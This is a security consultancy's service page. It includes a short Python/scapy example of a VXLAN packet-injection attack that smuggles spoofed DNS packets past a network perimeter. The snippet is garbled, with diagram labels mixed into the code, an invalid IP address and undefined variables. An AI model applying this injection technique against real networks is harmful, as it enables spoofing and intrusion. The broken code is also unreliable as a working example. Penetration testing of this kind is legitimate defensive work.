Zencurity: infrastructure security and testing



- Pentest and security services focused on network infrastructure and reviewing
- Getting your network online, from procurement of connections and devices to full BGP configuration
- We provide performance, penetration testing and DDoS testing port scans are free
- Network security consulting, network design, routers, loadbalancing, ask
- Need an Intrusion Detection System (IDS) we recommend and run Suricata IDS and Zeek in production

Example pentest attacks, VXLAN packet injection Create VXLAN header and inside packet #!/usr/bin/python from scapy.all import * vxlanport=4789 # RFC 7384 port 4789, Linux kernel default 8472 # Usually VNI == destination VLAN vni=37 vxlan=Ether(dst=routermac)/IP(src=vtepsrc,dst=vtepdst)/ VXLAN Network Identifier (VNI) | Reserved UDP(sport=vxlanport,dport=vxlanport)/VXLAN(vni=vni, flags="Instance") Inner Ethernet Header: broadcastmac="ff:ff:ff:ff:ff" randommac="00:51:52:01:02:03" Inner Destination MAC Address attacker="185.129.62.666" destination="your network" | Inner Destination MAC Address | Inner Source MAC Address packet=vxlan/Ether(dst=broadcastmac,src=randommac)/IP(src=attacker, dst=destination)/UDP(sport=testport,dport=insideport)/ Inner Source MAC Address DNS(rd=1,id=0xdead,qd=DNSQR(qname="www.zencurity.com")) |OptnlEthtype = C-Tag 802.1Q | Inner.VLAN Tag Information srp(packet)

Figure 1: VXLAN Header

Figure 2: Spoofed DNS packets inside the perimeter

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